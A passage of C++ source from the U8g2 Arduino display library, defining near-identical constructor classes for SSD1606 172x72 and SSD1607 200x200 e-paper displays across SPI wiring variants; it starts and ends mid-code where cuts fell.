}\n};\nclass U8G2_SSD1606_172X72_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1606_172X72_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1606_172x72_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1606_172X72_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1606_172X72_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1606_172x72_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1606_172X72_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1606_172X72_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1606_172x72_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1606_172X72_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1606_172X72_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1606_172x72_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1606_172X72_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1606_172X72_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1606_172x72_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1606_172X72_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1606_172X72_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1606_172x72_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1606_172X72_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1606_172X72_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1606_172x72_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1606_172X72_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1606_172X72_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1606_172x72_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1606_172X72_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1606_172X72_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1606_172x72_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1606_172X72_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1606_172X72_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1606_172x72_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1606_172X72_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1606_172X72_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1606_172x72_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1606_172X72_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1606_172X72_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1606_172x72_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1606_172X72_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1606_172X72_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1606_172x72_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1606_172X72_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1606_172X72_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1606_172x72_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1607_200X200_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_200X200_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_200x200_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_200X200_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_200X200_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_200x200_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_200X200_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_200X200_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_200x200_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_200X200_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_200X200_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_200x200_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1607_200X200_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_200X200_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_200x200_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1607_GD_200X200_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_GD_200X200_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_gd_200x200_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_GD_200X200_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_GD_200X200_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_gd_200x200_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_GD_200X200_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_GD_200X200_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_gd_200x200_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_GD_200X200_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_GD_200X200_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_gd_200x200_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1607_GD_200X200_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_GD_200X200_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_gd_200x200_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1607_WS_200X200_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_WS_200X200_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_ws_200x200_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_WS_200X200_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_WS_200X200_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_ws_200x200_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_WS_200X200_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_WS_200X200_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_ws_200x200_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_WS_200X200_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_WS_200X200_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_ws_200x200_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1607_WS_200X200_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_WS_200X200_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_ws_200x200_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1607_200X200_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_200X200_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_200x200_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_200X200_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_200X200_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_200x200_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_200X200_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_200X200_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_200x200_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_200X200_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_200X200_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_200x200_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1607_200X200_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_200X200_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_200x200_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1607_GD_200X200_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_GD_200X200_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_gd_200x200_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_GD_200X200_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_GD_200X200_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_gd_200x200_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_GD_200X200_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_GD_200X200_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_gd_200x200_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_GD_200X200_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_GD_200X200_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_gd_200x200_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1607_GD_200X200_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_GD_200X200_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_gd_200x200_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1607_WS_200X200_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_WS_200X200_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_ws_200x200_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_WS_200X200_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_WS_200X200_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_ws_200x200_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_WS_200X200_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_WS_200X200_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_ws_200x200_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_WS_200X200_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_WS_200X200_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_ws_200x200_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1607_WS_200X200_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_WS_200X200_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_ws_200x200_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1607_200X200_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_200X200_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_200x200_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_200X200_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_200X200_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_200x200_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_200X200_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_200X200_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_200x200_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_200X200_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_200X200_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_200x200_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1607_200X200_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_200X200_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_200x200_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1607_GD_200X200_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_GD_200X200_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_gd_200x200_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_GD_200X200_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_GD_200X200_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_gd_200x200_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_GD_200X200_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_GD_200X200_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_gd_200x200_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_GD_200X200_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_GD_200X200_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_gd_200x200_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1607_GD_200X200_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_GD_200X200_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_gd_200x200_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1607_WS_200X200_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_WS_200X200_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_ws_200x200_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_WS_200X200_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_WS_200X200_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_ws_200x200_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_WS_200X200_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1607_WS_200X200_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_ws_200x200_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1607_WS_200X200_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1607_WS_200X200_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1607_ws_200x200_f(&u8g2, rotation, 